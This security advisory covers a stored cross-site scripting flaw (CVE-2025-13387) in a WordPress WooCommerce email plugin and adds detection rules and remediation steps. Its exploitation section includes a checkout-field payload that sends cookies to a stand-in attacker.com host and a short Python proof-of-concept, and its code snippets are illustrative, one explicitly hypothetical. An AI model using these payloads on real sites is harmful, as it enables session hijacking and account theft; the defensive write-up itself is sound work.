CVE-2025-13387

Executive Summary

CVE-2025-13387 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kadence WooCommerce Email Designer plugin for WordPress, affecting all versions up to and including 1.5.17. The vulnerability arises from insufficient input sanitization and output escaping of the customer name field, allowing unauthenticated attackers to inject arbitrary web scripts. These scripts execute whenever a user (such as an administrator or customer) accesses an injected page, such as an order confirmation email or admin panel. The CVSS score is 7.2 (High), and the EPSS probability is 0.0%, indicating low exploitation likelihood currently, but the risk remains significant due to the unauthenticated attack vector and potential for widespread impact in WooCommerce environments.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Kadence WooCommerce Email Designer plugin is distributed via the WordPress plugin repository and is not an NPM, PyPI, Go, or Ruby package. No supply chain compromise has been identified, but users should verify plugin integrity and monitor for updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must view the injected page/email
• Scope: Changed (S:C) – vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)
• Threat Level: High – unauthenticated stored XSS in a widely-used WooCommerce plugin can lead to session hijacking, credential theft, or defacement.

Deep Dive & Mechanics

The vulnerability resides in the customer name field processed by the Kadence WooCommerce Email Designer plugin. When an order is placed, the plugin generates email templates that include the customer's billing name. The plugin fails to properly sanitize and escape this input before storing it in the database and rendering it in email templates or admin views. An unauthenticated attacker can inject malicious JavaScript by manipulating the customer name during checkout (e.g., via the WooCommerce checkout form). The injected script is stored and executed when an administrator views the order details or when the email is rendered in a browser-based email client.

Attack Flow:

1. Attacker places an order on a WooCommerce site using the vulnerable plugin.
2. In the billing name field, the attacker injects a payload like <script>alert('XSS')</script>.
3. The plugin stores the malicious name without proper sanitization.
4. When an admin views the order in the WordPress admin panel or when the email is opened, the script executes in the victim's browser.

Root Cause: The plugin uses esc_html() or similar functions inconsistently, or fails to apply output escaping on the customer name in certain contexts (e.g., email templates or admin screens).

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.5.17):

// In email template rendering
$customer_name = get_post_meta($order_id, '_billing_first_name', true);
echo $customer_name; // No escaping

Patched Code (Hypothetical):

$customer_name = get_post_meta($order_id, '_billing_first_name', true);
echo esc_html($customer_name); // Proper escaping

The fix involves applying esc_html() or wp_kses_post() to the customer name before output, and ensuring input validation during checkout.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Kadence WooCommerce Email Designer plugin <= 1.5.17
• WooCommerce active
• Ability to place an order (unauthenticated)

Exploitation Steps:

1. Navigate to the WooCommerce checkout page.
2. In the "First Name" field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Complete the order (use a test payment method if needed).
4. Wait for an admin to view the order or for the email to be sent.
5. The script executes, exfiltrating cookies or performing other actions.

Proof-of-Concept (Python):

import requests

target_url = "http://target-site.com/checkout/"
payload = "<script>alert('XSS')</script>"

data = {
    "billing_first_name": payload,
    "billing_last_name": "Test",
    "billing_email": "test@example.com",
    # ... other required fields
}

response = requests.post(target_url, data=data)
print("Order placed. Check admin panel for XSS execution.")

Blue Team (Detection & Prevention)

Detection:

• Monitor WooCommerce orders for suspicious customer names containing <script>, onerror, or other HTML/JS patterns.
• Use Web Application Firewall (WAF) rules to block XSS payloads in checkout fields.
• Enable WordPress security plugins (e.g., Wordfence) with XSS detection.

Prevention:

• Disable or remove the Kadence WooCommerce Email Designer plugin until a patch is available.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use input validation and output escaping in custom code.

Indicators of Compromise (IOCs)

• Network: HTTP requests to checkout pages with <script> tags in billing fields.
• File: Modified plugin files (e.g., kadence-woocommerce-email-designer/includes/class-kadence-woocommerce-email-designer.php) containing unsanitized output.
• Database: WooCommerce order meta fields (_billing_first_name, _billing_last_name) containing JavaScript payloads.
• Logs: WordPress debug logs showing PHP warnings related to output escaping.

Detection Engineering

YARA Rule

rule Detect_Kadence_XSS_Payload {
    meta:
        description = "Detects XSS payloads in WooCommerce customer names targeting Kadence Email Designer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13387"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Detect XSS in WooCommerce Customer Name Fields
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS payloads in WooCommerce billing name fields
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: "woocommerce_checkout_update_order_meta"
        meta_key: "_billing_first_name"
        meta_value|contains: 
            - "<script"
            - "onerror"
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of special characters in names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13387 - XSS Payload in WooCommerce Checkout"; flow:to_server; content:"POST"; http_method; content:"/checkout/"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Kadence WooCommerce Email Designer plugin until a patched version is released.
2. Vendor Patch: Monitor the WordPress plugin repository for updates. Apply version 1.5.18 or later when available.
3. Workaround: Use a Web Application Firewall (WAF) to block XSS payloads in checkout fields.
4. Code Fix: If you have access to the plugin source, apply esc_html() to all customer name outputs.
5. User Education: Advise administrators to avoid viewing orders from untrusted sources until the plugin is patched.

Valters IT – Securing WordPress ecosystems through proactive threat intelligence.